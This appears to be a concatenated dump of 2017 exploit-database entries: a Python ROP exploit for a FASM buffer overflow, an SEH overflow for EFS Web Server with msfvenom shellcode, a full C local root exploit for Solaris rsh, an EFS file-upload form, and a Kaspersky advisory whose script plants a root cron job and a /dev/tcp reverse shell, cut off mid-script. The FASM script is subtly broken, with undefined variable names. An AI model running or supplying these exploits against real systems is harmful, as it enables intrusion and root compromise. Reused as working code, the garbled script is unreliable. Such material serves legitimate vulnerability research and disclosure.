0242c234 66d73203 1ca71d90 00001000 00001000 mpengine!std::list<std::pair<wchar_t const * const,CommonUtil::AutoRefWrapper<AttributeValueStore> >,std::allocator<std::pair<wchar_t const * const,CommonUtil::AutoRefWrapper<AttributeValueStore> > > >::erase+0x72 (FPO: [Non-Fpo])
0242c258 66d732b9 1ca76db8 00001000 41414000 mpengine!Modification::read+0x79 (FPO: [Non-Fpo])
0242c2a0 66d736db 1ca76db8 00001000 41414000 mpengine!MutableStore::MutableByteStream::read+0xa3 (FPO: [Non-Fpo])
0242c2dc 66d737db 02f923e4 000007ff 41414141 mpengine!MutableStore::MutableByteStream::write+0xa0 (FPO: [Non-Fpo])
0242c320 66d6dfbb 00000544 02f923e4 000007ff mpengine!MutableStore::writeStrm+0xab (FPO: [Non-Fpo])
0242c35c 66d6b463 00000596 02f923e4 000007ff mpengine!VirtualFS::write+0x79 (FPO: [4,5,4])
0242c3a0 66c1eea8 02f923e4 000007ff 41414141 mpengine!VFS_Write+0x34 (FPO: [Non-Fpo])
0242c410 66b71e01 02ed0020 02f20610 fdeee3e7 mpengine!NTDLL_DLL_VFS_Write+0x78 (FPO: [Non-Fpo])
0242c440 66d840da 02f203a8 0309877f 02f20601 mpengine!__call_api_by_crc+0x114 (FPO: [Non-Fpo])
0242c468 030987a8 669eeca2 02f203a8 0309877f mpengine!x32_parseint+0x1ba (FPO: [Non-Fpo])


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42264.zip
            
#!/usr/bin/python
# Developed using Exploit Pack - http://exploitpack.com - <jsacco@exploitpack.com>
#
# Exploit Author: Juan Sacco <juan.sacco@kpn.com> at KPN Red Team - http://www.kpn.com
# Tested on: GNU/Linux - Kali 2017.1 Release
#
# What is FASM?
# Flat assembler is a fast, self-compilable assembly language compiler for the
# x86 and x86-64 architecture processors, which does multiple passes to optimize
# the size of generated machine code.
#
# Impact: FASM ( Flat Assembler  ) 1.7.21 and prior is prone to a stack-based buffer overflow
# vulnerability because the application fails to perform adequate
# boundary-checks on user-supplied input.
#
# An attacker could exploit this vulnerability to execute arbitrary code in the
# context of the application. Failed exploit attempts will result in a
# denial-of-service condition.
#
# Version: 1.71.21
# Architecture: i386
# Download here: http://ba.mirror.garr.it/mirrors/slitaz/sources/packages-cooking/f/fasm-1.71.21.tgz
#
# Vendor homepage: http://www.flatassembler.net`
#
import os,subprocess
from struct import pack

# EIP found at offset: 5895
# Entry point: 0x8048d68
# Canary: off
# Fortify: off
# NX: Enabled
# PIE: off
# Relro: Partial

junk = 'A' * 5895
execve_rop += pack('<I', 0x0805ad4f) # pop edx ; ret
execve_rop += pack('<I', 0x0810b060) # @ .data
execve_rop += pack('<I', 0x08050eb2) # pop eax ; ret
execve_rop += '/bin'
execve_rop += pack('<I', 0x080b1bcd) # mov dword ptr [edx], eax ; ret
execve_rop += pack('<I', 0x0805ad4f) # pop edx ; ret
execve_rop += pack('<I', 0x0810b064) # @ .data + 4
execve_rop += pack('<I', 0x08050eb2) # pop eax ; ret
execve_rop += '//sh'
execve_rop += pack('<I', 0x080b1bcd) # mov dword ptr [edx], eax ; ret
execve_rop += pack('<I', 0x0805ad4f) # pop edx ; ret
execve_rop += pack('<I', 0x0810b068) # @ .data + 8
execve_rop += pack('<I', 0x0804891b) # xor eax, eax ; ret
execve_rop += pack('<I', 0x080b1bcd) # mov dword ptr [edx], eax ; ret
execve_rop += pack('<I', 0x080481e1) # pop ebx ; ret
execve_rop += pack('<I', 0x0810b060) # @ .data
execve_rop += pack('<I', 0x0804a250) # pop ecx ; ret
execve_rop += pack('<I', 0x0810b068) # @ .data + 8
execve_rop += pack('<I', 0x0805ad4f) # pop edx ; ret
execve_rop += pack('<I', 0x0810b068) # @ .data + 8
execve_rop += pack('<I', 0x0804891b) # xor eax, eax ; ret
execve_rop += pack('<I', 0x080b408f) # inc eax ; ret
execve_rop += pack('<I', 0x080b408f) # inc eax ; ret
execve_rop += pack('<I', 0x080b408f) # inc eax ; ret
execve_rop += pack('<I', 0x080b408f) # inc eax ; ret
execve_rop += pack('<I', 0x080b408f) # inc eax ; ret
execve_rop += pack('<I', 0x080b408f) # inc eax ; ret
execve_rop += pack('<I', 0x080b408f) # inc eax ; ret
execve_rop += pack('<I', 0x080b408f) # inc eax ; ret
execve_rop += pack('<I', 0x080b408f) # inc eax ; ret
execve_rop += pack('<I', 0x080b408f) # inc eax ; ret
execve_rop += pack('<I', 0x080b408f) # inc eax ; ret
execve_rop += pack('<I', 0x0805ff3d) # int 0x80
buffer = junk + chain_rop

try:
   print("[*] FASM 1.7.21 - Buffer Overflow + ROP by Juan Sacco")
   print("[*] Please wait.. running")
   subprocess.call(["fasm", buffer])
except OSError as e:
   if e.errno == os.errno.ENOENT:
       print "[*] FASM  not found!"
   else:
    print "[*] Error executing exploit"
   raise
            
#!/usr/bin/python

##################################
#   2017/6/17  Chako
#  
#   EFS Web Server 7.2 - Local Buffer Overflow(SEH)
#   Tested on: Windows XP SP3 EN (DEP Off)
#   Software Link: https://www.exploit-db.com/apps/60f3ff1f3cd34dec80fba130ea481f31-efssetup.exe
#
#   Description:
#   When importing a large user account file on to EFS Web Server 7.2
#   will trigger the vuln.
##################################

import struct


# msfvenom -p windows/exec cmd=calc.exe -e x86/alpha_mixed -v Shellcode -f python
Shellcode =  ""
Shellcode += "\x89\xe5\xdb\xd8\xd9\x75\xf4\x5f\x57\x59\x49\x49"
Shellcode += "\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43"
Shellcode += "\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30"
Shellcode += "\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30"
Shellcode += "\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
Shellcode += "\x59\x6c\x59\x78\x4d\x52\x75\x50\x57\x70\x43\x30"
Shellcode += "\x55\x30\x6d\x59\x4b\x55\x55\x61\x6f\x30\x53\x54"
Shellcode += "\x6e\x6b\x56\x30\x30\x30\x6c\x4b\x53\x62\x44\x4c"
Shellcode += "\x6c\x4b\x36\x32\x72\x34\x4e\x6b\x34\x32\x75\x78"
Shellcode += "\x44\x4f\x6d\x67\x50\x4a\x47\x56\x34\x71\x6b\x4f"
Shellcode += "\x6e\x4c\x37\x4c\x31\x71\x53\x4c\x57\x72\x56\x4c"
Shellcode += "\x55\x70\x7a\x61\x48\x4f\x44\x4d\x73\x31\x78\x47"
Shellcode += "\x39\x72\x39\x62\x63\x62\x71\x47\x4e\x6b\x66\x32"
Shellcode += "\x46\x70\x6c\x4b\x51\x5a\x37\x4c\x4c\x4b\x62\x6c"
Shellcode += "\x46\x71\x53\x48\x58\x63\x32\x68\x57\x71\x38\x51"
Shellcode += "\x70\x51\x6e\x6b\x62\x79\x71\x30\x66\x61\x58\x53"
Shellcode += "\x4e\x6b\x57\x39\x34\x58\x39\x73\x67\x4a\x47\x39"
Shellcode += "\x4c\x4b\x50\x34\x4e\x6b\x36\x61\x39\x46\x45\x61"
Shellcode += "\x6b\x4f\x4c\x6c\x6b\x71\x78\x4f\x66\x6d\x56\x61"
Shellcode += "\x6b\x77\x34\x78\x4b\x50\x74\x35\x6b\x46\x37\x73"
Shellcode += "\x33\x4d\x38\x78\x67\x4b\x43\x4d\x67\x54\x43\x45"
Shellcode += "\x59\x74\x63\x68\x4c\x4b\x70\x58\x46\x44\x67\x71"
Shellcode += "\x6b\x63\x72\x46\x6c\x4b\x34\x4c\x52\x6b\x6c\x4b"
Shellcode += "\x33\x68\x37\x6c\x55\x51\x49\x43\x4c\x4b\x55\x54"
Shellcode += "\x4e\x6b\x63\x31\x6a\x70\x6b\x39\x53\x74\x35\x74"
Shellcode += "\x57\x54\x73\x6b\x61\x4b\x53\x51\x50\x59\x33\x6a"
Shellcode += "\x62\x71\x79\x6f\x4d\x30\x51\x4f\x33\x6f\x33\x6a"
Shellcode += "\x6c\x4b\x37\x62\x5a\x4b\x6c\x4d\x31\x4d\x71\x7a"
Shellcode += "\x57\x71\x4e\x6d\x4f\x75\x6c\x72\x43\x30\x77\x70"
Shellcode += "\x73\x30\x50\x50\x42\x48\x56\x51\x4e\x6b\x52\x4f"
Shellcode += "\x4e\x67\x6b\x4f\x68\x55\x4f\x4b\x48\x70\x6f\x45"
Shellcode += "\x6c\x62\x50\x56\x52\x48\x4d\x76\x4a\x35\x4f\x4d"
Shellcode += "\x6d\x4d\x49\x6f\x58\x55\x55\x6c\x33\x36\x61\x6c"
Shellcode += "\x74\x4a\x6b\x30\x69\x6b\x4d\x30\x74\x35\x54\x45"
Shellcode += "\x4d\x6b\x47\x37\x62\x33\x72\x52\x70\x6f\x32\x4a"
Shellcode += "\x63\x30\x56\x33\x59\x6f\x4e\x35\x33\x53\x63\x51"
Shellcode += "\x52\x4c\x33\x53\x44\x6e\x73\x55\x72\x58\x65\x35"
Shellcode += "\x77\x70\x41\x41"




#SEH record (nseh field) at 0x0012b318 overwritten with normal pattern (offset 2563)
Junk = "\x41" * 2563

nSEH = "\xEB\x0F\x90\x90"

# 0x10012f3b : pop esi # pop ebx # ret  | ascii {PAGE_EXECUTE_READ} [ImageLoad.dll] 
# ASLR: False, Rebase: False, SafeSEH: False, OS: False
SEH = struct.pack("<L", 0x10012f3b)


NOP = "\x90" * 10

BoF = Junk + nSEH + SEH + NOP + Shellcode + NOP


print len(BoF)
f = open ("exploit.txt", "w")
f.write(BoF)
f.close()
            
/*
 * Solaris_rsh.c for CVE-2017-3630, CVE-2017-3629, CVE-2017-3631
 * Copyright (C) 2017 Qualys, Inc.
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <http://www.gnu.org/licenses/>.
 */

#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/fcntl.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

#ifndef timersub
#define timersub(a, b, result) \
    do { \
        (result)->tv_sec = (a)->tv_sec - (b)->tv_sec; \
        (result)->tv_usec = (a)->tv_usec - (b)->tv_usec; \
        if ((result)->tv_usec < 0) { \
            --(result)->tv_sec; \
            (result)->tv_usec += 1000000; \
        } \
    } while (0)
#endif

#define RSH "/usr/bin/rsh"
static const struct target * target;
static const struct target {
    const char * name;
    size_t s_first, s_last, s_step;
    size_t l_first, l_last, l_step;
    size_t p_first, p_last, p_step;
    size_t a, b;
    size_t i, j;
} targets[] = {
    {
        .name = "Oracle Solaris 11.1 X86 (Assembled 19 September 2012)",
        .s_first = 16*1024, .s_last = 44*1024, .s_step = 4096,
        .l_first = 192,     .l_last = 512,     .l_step = 16,
        .p_first = 0,       .p_last = 8192,    .p_step = 1,
        .a = 0,             .b = 15,           .j = 12,
        .i = 0x08052608 /* pop edx; pop ebp; ret */
    },
    {
        .name = "Oracle Solaris 11.3 X86 (Assembled 06 October 2015)",
        .s_first = 12*1024, .s_last = 44*1024, .s_step = 4096,
        .l_first = 96,      .l_last = 512,     .l_step = 4,
        .p_first = 0,       .p_last = 4096,    .p_step = 4,
        .a = 0,             .b = 3,            .j = SIZE_MAX,
        .i = 0x07faa7ea /* call *0xc(%ebp) */
    },
};

#define ROOTSHELL "ROOT"
static const char shellcode[] =
    "\x31\xc0\x50\x68ROOT"
    "\x89\xe3\x50\x53\x89\xe2\x50\x50"
    "\x52\x53\xb0\x3C\x48\x50\xcd\x91"
    "\x31\xc0\x40\x50\x50\xcd\x91Z";

static volatile sig_atomic_t sigalarm;

static void
sigalarm_handler(const int signum __attribute__((__unused__)))
{
    sigalarm = 1;
}

#define die() do { \
    fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \
    exit(EXIT_FAILURE); \
} while (0)

static int
is_suid_root(const char * const file)
{
    if (!file) die();
    static struct stat sbuf;
    if (stat(file, &sbuf)) die();
    if (!S_ISREG(sbuf.st_mode)) die();
    return ((sbuf.st_uid == 0) && (sbuf.st_mode & S_ISUID));
}

static const char *
build_lca(const size_t l)
{
    static const size_t shellcode_len = sizeof(shellcode)-1;
    if (shellcode_len > 64) die();
    if (shellcode_len % 16) die();
    if (l < shellcode_len + target->a + target->b) die();

    #define LCA_MAX 4096
    if (l > LCA_MAX) die();
    static char lca[128 + LCA_MAX];
    strcpy(lca, "LC_ALL=");
    char * cp = memchr(lca, '\0', sizeof(lca));
    if (!cp) die();
    memcpy(cp, shellcode, shellcode_len);
    cp += shellcode_len;
    memset(cp, 'a', target->a);

    size_t o;
    for (o = target->a; l - o >= 4; o += 4) {
        if ((o - target->a) % 16 == target->j) {
            cp[o + 0] = '\xeb';
            cp[o + 1] = (o - target->a >= 16) ? -(16u + 2u) :
                -(shellcode_len + target->a + target->j + 2);
            cp[o + 2] = 'j';
            cp[o + 3] = 'j';
        } else {
            if (sizeof(size_t) != 4) die();
            *(size_t *)(cp + o) = target->i;
        }
    }
    cp += o;
    memset(cp, 'b', target->b);
    cp[target->b] = '\0';
    if (strlen(lca) != 7 + shellcode_len + o + target->b) die();
    return lca;
}

static const char *
build_pad(const size_t p)
{
    #define PAD_MAX 8192
    if (p > PAD_MAX) die();
    static char pad[64 + PAD_MAX];
    strcpy(pad, "P=");
    char * const cp = memchr(pad, '\0', sizeof(pad));
    if (!cp) die();
    memset(cp, 'p', p);
    cp[p] = '\0';
    if (strlen(pad) != 2 + p) die();
    return pad;
}

static void
fork_worker(const size_t s, const char * const lca, const char * const pad)
{
    #define N_WORKERS 2
    static size_t n_workers;
    static struct {
        pid_t pid;
        struct timeval start;
    } workers[N_WORKERS];

    size_t i_worker;
    struct timeval start, stop, diff;

    if (n_workers >= N_WORKERS) {
        if (n_workers != N_WORKERS) die();
        int is_suid_rootshell = 0;
        for (;;) {
            sigalarm = 0;
            #define TIMEOUT 10
            alarm(TIMEOUT);
            int status = 0;
            const pid_t pid = waitpid(-1, &status, WUNTRACED);
            alarm(0);
            if (gettimeofday(&stop, NULL)) die();

            if (pid <= 0) {
                if (pid != -1) die();
                if (errno != EINTR) die();
                if (sigalarm != 1) die();
            }
            int found_pid = 0;
            for (i_worker = 0; i_worker < N_WORKERS; i_worker++) {
                const pid_t worker_pid = workers[i_worker].pid;
                if (worker_pid <= 0) die();
                if (worker_pid == pid) {
                    if (found_pid) die();
                    found_pid = 1;
                    if (WIFEXITED(status) || WIFSIGNALED(status))
                        workers[i_worker].pid = 0;
                } else {
                    timersub(&stop, &workers[i_worker].start, &diff);
                    if (diff.tv_sec >= TIMEOUT)
                        if (kill(worker_pid, SIGKILL)) die();
                }
            }
            if (!found_pid) {
                if (pid != -1) die();
                continue;
            }
            if (WIFEXITED(status)) {
                if (WEXITSTATUS(status) != EXIT_FAILURE)
                    fprintf(stderr, "exited %d\n", WEXITSTATUS(status));
                break;
            } else if (WIFSIGNALED(status)) {
                if (WTERMSIG(status) != SIGSEGV)
                    fprintf(stderr, "signal %d\n", WTERMSIG(status));
                break;
            } else if (WIFSTOPPED(status)) {
                fprintf(stderr, "stopped %d\n", WSTOPSIG(status));
                is_suid_rootshell |= is_suid_root(ROOTSHELL);
                if (kill(pid, SIGKILL)) die();
                continue;
            }
            fprintf(stderr, "unknown %d\n", status);
            die();
        }
        if (is_suid_rootshell) {
            system("ls -lL " ROOTSHELL);
            exit(EXIT_SUCCESS);
        }
        n_workers--;
    }
    if (n_workers >= N_WORKERS) die();

    static char rsh_link[64];
    if (*rsh_link != '/') {
        const int rsh_fd = open(RSH, O_RDONLY);
        if (rsh_fd <= STDERR_FILENO) die();
        if ((unsigned int)snprintf(rsh_link, sizeof(rsh_link),
            "/proc/%ld/fd/%d", (long)getpid(), rsh_fd) >= sizeof(rsh_link)) die();
        if (access(rsh_link, R_OK | X_OK)) die();
        if (*rsh_link != '/') die();
    }

    static int null_fd = -1;
    if (null_fd <= -1) {
        null_fd = open("/dev/null", O_RDWR);
        if (null_fd <= -1) die();
    }

    const pid_t pid = fork();
    if (pid <= -1) die();
    if (pid == 0) {
        const struct rlimit stack = { s, s };
        if (setrlimit(RLIMIT_STACK, &stack)) die();

        if (dup2(null_fd, STDIN_FILENO) != STDIN_FILENO) die();
        if (dup2(null_fd, STDOUT_FILENO) != STDOUT_FILENO) die();
        if (dup2(null_fd, STDERR_FILENO) != STDERR_FILENO) die();

        static char * const argv[] = { rsh_link, "-?", NULL };
        char * const envp[] = { (char *)lca, (char *)pad, NULL };
        execve(*argv, argv, envp);
        die();
    }
    if (gettimeofday(&start, NULL)) die();
    for (i_worker = 0; i_worker < N_WORKERS; i_worker++) {
        const pid_t worker_pid = workers[i_worker].pid;
        if (worker_pid > 0) continue;
        if (worker_pid != 0) die();
        workers[i_worker].pid = pid;
        workers[i_worker].start = start;
        n_workers++;
        return;
    }
    die();
}

int
main(const int argc, const char * const argv[])
{
    static const struct rlimit core;
    if (setrlimit(RLIMIT_CORE, &core)) die();

    if (geteuid() == 0) {
        if (is_suid_root(ROOTSHELL)) {
            if (setuid(0)) die();
            if (setgid(0)) die();
            static char * const argv[] = { "/bin/sh", NULL };
            execve(*argv, argv, NULL);
            die();
        }
        chown(*argv, 0, 0);
        chmod(*argv, 04555);
        for (;;) {
            raise(SIGSTOP);
            sleep(1);
        }
        die();
    }
    if (symlink(*argv, ROOTSHELL)) {
        if (errno != EEXIST) die();
    }

    if (argc != 2) {
        fprintf(stderr, "Usage: %s target\n", *argv);
        size_t i;
        for (i = 0; i < sizeof(targets)/sizeof(*targets); i++) {
            fprintf(stderr, "Target %zu %s\n", i, targets[i].name);
        }
        die();
    }
  {
    const size_t i = strtoul(argv[1], NULL, 10);
    if (i >= sizeof(targets)/sizeof(*targets)) die();
    target = targets + i;
    fprintf(stderr, "Target %zu %s\n", i, target->name);
  }
    if (target->a >= 16) die();
    if (target->b >= 16) die();
    if (target->i <= 0) die();
    if (target->j >= 16 || target->j % 4) {
        if (target->j != SIZE_MAX) die();
    }

    static const struct sigaction sigalarm_action = { .sa_handler = sigalarm_handler };
    if (sigaction(SIGALRM, &sigalarm_action, NULL)) die();

    size_t s;
    for (s = target->s_first; s <= target->s_last; s += target->s_step) {
        if (s % target->s_step) die();

        size_t l;
        for (l = target->l_first; l <= target->l_last; l += target->l_step) {
            if (l % target->l_step) die();
            const char * const lca = build_lca(l);
            fprintf(stderr, "s %zu l %zu\n", s, l);

            size_t p;
            for (p = target->p_first; p <= target->p_last; p += target->p_step) {
                if (p % target->p_step) die();
                const char * const pad = build_pad(p);
                fork_worker(s, lca, pad);
            }
        }
    }
    fprintf(stderr, "Please try again\n");
    die();
}
            
##################################
#   2017/6/15  Chako
#  
#   EFS Web Server 7.2 Unrestricted File Upload
#   Vendor Homepage: http://www.sharing-file.com
#   Software Link: https://www.exploit-db.com/apps/60f3ff1f3cd34dec80fba130ea481f31-efssetup.exe
#   Version: Easy File Sharing Web Server 7.2
#   Tested on: WinXP SP3
##################################




EFS Web Server 7.2 allows unauthorized users to upload malicious files





[Exploit]

// action="http://target_host/disk_c/vfolders
// </script><input size="20" name="upload_author" value="Admin" type="hidden"> 
// have to know the user name by Default "Admin"



<form action="http://192.168.136.129/disk_c/vfolders" name="post" onsubmit="return input(this)" enctype="multipart/form-data" method="post">
<input name="uploadid" id="uploadid" value="34533689" type="hidden">
          <center>
            <a name="reply"></a> 
            <table class="forumline" cellpadding="6" width="479">
              <tbody><tr bgcolor="#8080A6"> 
                <td bgcolor="#eff2f8" height="319"> 
                  <center>

<script language="JavaScript">
<!--
document.write('<input type="hidden" size="20" name="upload_author" Value="'+ReadCookie("UserID")+'">');
// -->
</script><input size="20" name="upload_author" value="Admin" type="hidden"> 
<script language="JavaScript">
<!--
document.write('<input type="hidden" size="20" name="upload_passwd" Value="'+ReadCookie("PassWD")+'">');
// --></script><input size="20" name="upload_passwd" value="829700" type="hidden"> 

                    <table cellpadding="0" border="0" width="437">
                      <tbody><tr> 
                        <td colspan="2" height="63"> <span class="bgen">Description:</span> <br> 
                          <input name="upload_title" id="upload_title" size="50" value="dd" type="text">
                          </td>
                      </tr>
                      <tr> 
                        <td colspan="2"><span class="bgen">File:</span> <br>
                          <input name="UploadedFile" id="UploadedFile" size="50" type="file">
                          <br> </td>
                      </tr>
                      <tr>
</tr>
<tr>
 
                        <td colspan="2" height="40"><font size="2" face="Arial, Helvetica, sans-serif" color="#FFFFFF"> 
                          <input name="Upload" class="button" value="Upload" type="submit">
                          </font> 

                      </td>
                      </tr>
                    </tbody></table>
                  </center></td>
              </tr>
            </tbody></table>
            
          </center>
        </form> 
		[/Exploit]
            
1. *Advisory Information*

Title: Kaspersky Anti-Virus File Server Multiple Vulnerabilities
Advisory ID: CORE-2017-0003
Advisory URL: http://www.coresecurity.com/advisories/Kaspersky-Anti-Virus-File-Server-Multiple-Vulnerabilities
Date published: 2017-06-28
Date of last update: 2017-06-28
Vendors contacted: Kaspersky
Release mode: Forced release

2. *Vulnerability Information*

Class: Improper Neutralization of Input During Web Page Generation
('Cross-site Scripting') [CWE-79], Cross-Site Request Forgery [CWE-352],
Improper Privilege Management [CWE-269], Improper Limitation of a
Pathname to a Restricted Directory [CWE-22]
Impact: Code execution, Security bypass, Information leak
Remotely Exploitable: Yes
Locally Exploitable: Yes
CVE Name: CVE-2017-9813, CVE-2017-9810, CVE-2017-9811, CVE-2017-9812

3. *Vulnerability Description*

From Kaspersky Lab's website:
"Large corporate networks that use file servers running on different
platforms can be a real headache when it comes to antivirus protection.
Kaspersky Anti-Virus for Linux File Server is part of our range of new
and refreshed products, solutions and services for heterogeneous
networks. It provides a superior protection with Samba server
integration and other features that can protect workstations and file
servers in even the most complex heterogeneous networks. It is also
certified VMware Ready and supports current versions of FreeBSD for
integrated, future-proof protection."

Multiple vulnerabilities were found in the Kaspersky Anti-Virus for
Linux File Server [2] Web Management Console. It is possible for a
remote attacker to abuse these vulnerabilities and gain command
execution as root.

4. *Vulnerable Packages*

. Kaspersky Anti-Virus for Linux File Server 8.0.3.297 [2]
Other products and versions might be affected, but they were not tested.

5. *Vendor Information, Solutions and Workarounds*

Kaspersky [1] published the following Maintenance Pack:
   . Maintenance Pack 2 Critical Fix 4 (version 8.0.4.312):
   https://support.kaspersky.com/13738/

6. *Credits*

This vulnerability was discovered and researched by Leandro Barragan
and Maximiliano Vidal from Core Security Consulting Services. The
publication of this advisory was coordinated by Alberto Solino from
Core Advisories Team.

7. *Technical Description / Proof of Concept Code*

Kaspersky Anti-virus for Linux File Server comes bundled with a Web
Management Console to monitor the application's status and manage its
operation.

One specific feature allows configuring shell scripts to be executed
when certain events occur. This functionality is vulnerable to
cross-site request forgery, allowing code execution in the context of
the web application as the kluser account. The vulnerability is
described in section 7.1.

Moreover, it is possible to elevate privileges from kluser to root by
abusing the quarantine functionality provided by the kav4fs-control
system binary. This is described in section 7.2.

Additional web application vulnerabilities were found, including a
reflected cross-site scripting vulnerability (7.3) and a path traversal
vulnerability (7.4).

7.1. *Cross-site Request Forgery leading to Remote Command Execution*

[CVE-2017-9810]: There are no Anti-CSRF tokens in any forms on the web
interface. This would allow an attacker to submit authenticated requests
when an authenticated user browses an attacker-controlled domain.

The following request will update the notification settings to run a
shell command when an object is moved to quarantine. For the full list
of events refer to the product's documentation. Note that it is possible
to add a script to all existing events in a single request, widening the
window of exploitation.

The proof-of-concept creates the file /tmp/pepperoni. Shell commands
are run as the lower privilege kluser.

Payload:
/-----
"notifier": {"Actions": [{"Command": "touch /tmp/pepperoni",
"EventName": 22, "Enable": true, "__VersionInfo": "1 0"}]
-----/

Request:

/-----
POST /cgi-bin/cgictl?action=setTaskSettings HTTP/1.1
Host: <server IP>:9080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0)
Gecko/20100101 Firefox/52.0
Accept: application/json, text/javascript, */*
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Referer: http://<server IP>:9080/
Content-Length: 3273
Cookie: wmc_useWZRDods=true; wmc_sid=690DE0005C5625A420255EFEBB3349F7;
wmc_full_stat=1;
wmc_logsSimpleMode=1;
wmc_backupSimpleMode=1; wmc_quaSimpleMode=1;
wmc_iconsole_lang=resource_en.js;
wmc_show_settings_descr=false;
iconsole_test; wmc_show_licence_descr=false
Connection: close

taskId=7&
settings=%7B%22ctime%22%3A%201490796963%2C%20%22notifier%22%3A%20%7B%22Actions%22%3A%20%5B%7B%22Command%22%3A%20%22touch%20%2Ftmp%2Fpepperoni%22%2C%20%22EventName%22%3A%2022%2C%20%22Enable%22%3A%20true%2C%20%22__VersionInfo%22%3A%20%221%200%22%7D%5D%2C%20%22CommonSmtpSettings%22%3A%20%7B%22DefaultRecipients%22%3A%20%5B%5D%2C%20%22InternalMailerSettings%22%3A%20%7B%22ConnectionTimeout%22%3A%2010%2C%20%22SmtpPort%22%3A%2025%2C%20%22SmtpQueueFolder%22%3A%20%22%2Fvar%2Fopt%2Fkaspersky%2Fkav4fs%2Fdb%2Fnotifier%22%2C%20%22SmtpServer%22%3A%20%22%22%2C%20%22__VersionInfo%22%3A%20%221%200%22%7D%2C%20%22Mailer%22%3A%20%221%22%2C%20%22Sender%22%3A%20%22%22%2C%20%22SendmailPath%22%3A%20%22%2Fusr%2Fsbin%2Fsendmail%20-t%20-i%22%2C%20%22__VersionInfo%22%3A%20%221%200%22%7D%2C%20%22EnableActions%22%3A%20true%2C%20%22EnableSmtp%22%3A%20false%2C%20%22SmtpNotifies%22%3A%20%5B%7B%22Body%22%3A%20%22%22%2C%20%22Enable%22%3A%20true%2C%20%22EventName%22%3A%201%2C%20%22Recipients%22%3A%20%5B%5D%2C%20%22Subject%22%3A%20%22Anti-Virus%20started%22%2C%20%22UseRecipientList%22%3A%202%2C%20%22__VersionInfo%22%3A%20%221%200%22%7D%2C%20%7B%22Body%22%3A%20%22%22%2C%20%22Enable%22%3A%20true%2C%20%22EventName%22%3A%206%2C%20%22Recipients%22%3A%20%5B%5D%2C%20%22Subject%22%3A%20%22License%20error%22%2C%20%22UseRecipientList%22%3A%202%2C%20%22__VersionInfo%22%3A%20%221%200%22%7D%2C%20%7B%22Body%22%3A%20%22%22%2C%20%22Enable%22%3A%20true%2C%20%22EventName%22%3A%207%2C%20%22Recipients%22%3A%20%5B%5D%2C%20%22Subject%22%3A%20%22Databases%20updated%22%2C%20%22UseRecipientList%22%3A%202%2C%20%22__VersionInfo%22%3A%20%221%200%22%7D%5D%2C%20%22__VersionInfo%22%3A%20%221%200%22%7D%2C%20%22snmp%22%3A%20%7B%22MasterAgentXAddress%22%3A%20%22tcp%3Alocalhost%3A705%22%2C%20%22PingInterval%22%3A%2015%2C%20%22TrapSuite%22%3A%20%7B%22AVBasesAppliedEventEnable%22%3A%20true%2C%20%22AVBasesAreOutOfDateEventEnable%22%3A%20true%2C%20%22AVBasesAreTotallyOutOfDateEventEnable%22%3A%20true%2C%20%22AVBasesAttachedEventEnable%22%3A%20true%2C%20%22AVBasesIntegrityCheckFailedEventEnable%22%3A%20true%2C%20%22AVBasesRollbackCompletedEventEnable%22%3A%20true%2C%20%22AVBasesRollbackErrorEventEnable%22%3A%20true%2C%20%22ApplicationSettingsChangedEventEnable%22%3A%20true%2C%20%22ApplicationStartedEventEnable%22%3A%20true%2C%20%22LicenseErrorEventEnable%22%3A%20true%2C%20%22LicenseExpiredEventEnable%22%3A%20true%2C%20%22LicenseExpiresSoonEventEnable%22%3A%20true%2C%20%22LicenseInstalledEventEnable%22%3A%20true%2C%20%22LicenseNotInstalledEventEnable%22%3A%20true%2C%20%22LicenseNotRevokedEventEnable%22%3A%20true%2C%20%22LicenseRevokedEventEnable%22%3A%20true%2C%20%22ModuleNotDownloadedEventEnable%22%3A%20true%2C%20%22NothingToUpdateEventEnable%22%3A%20true%2C%20%22ObjectDeletedEventEnable%22%3A%20true%2C%20%22ObjectDisinfectedEventEnable%22%3A%20true%2C%20%22ObjectSavedToBackupEventEnable%22%3A%20true%2C%20%22ObjectSavedToQuarantineEventEnable%22%3A%20true%2C%20%22RetranslationErrorEventEnable%22%3A%20true%2C%20%22TaskStateChangedEventEnable%22%3A%20true%2C%20%22ThreatDetectedEventEnable%22%3A%20true%2C%20%22UpdateErrorEventEnable%22%3A%20true%2C%20%22__VersionInfo%22%3A%20%221%200%22%7D%2C%20%22TrapsEnable%22%3A%20true%2C%20%22__VersionInfo%22%3A%20%221%200%22%7D%7D
&schedule=%7B%7D&skipCtimeCheck=true

-----/

7.2. *Privilege escalation due to excessive permissions*

[CVE-2017-9811]: The kluser is able to interact with the kav4fs-control
binary. By abusing the quarantine read and write operations, it is
possible to elevate the privileges to root.

The following proof-of-concept script adds a cron job that will be
executed as root.

/-----
# Make sure the application is running
/opt/kaspersky/kav4fs/bin/kav4fs-control --start-app

# Create cron job in /tmp
echo "* * * * * root /tmp/reverse.sh" > /tmp/badcron

# Sample reverse shell payload
cat > /tmp/reverse.sh << EOF
#!/bin/bash
bash -i >& /dev/tcp/172.16.76.1/8000 0>&1
EOF
chmod +x /tmp/reverse.sh

# Move the cron job to quarantine and grab the object ID
QUARANTINE_ID=$(/opt/kaspersky/kav4fs/bin/kav4fs-control -Q
--add-object /tmp/badcron | cut -d'=' -f2 | cut -d'.' -f1)

# Restore the file to /etc/cron.d
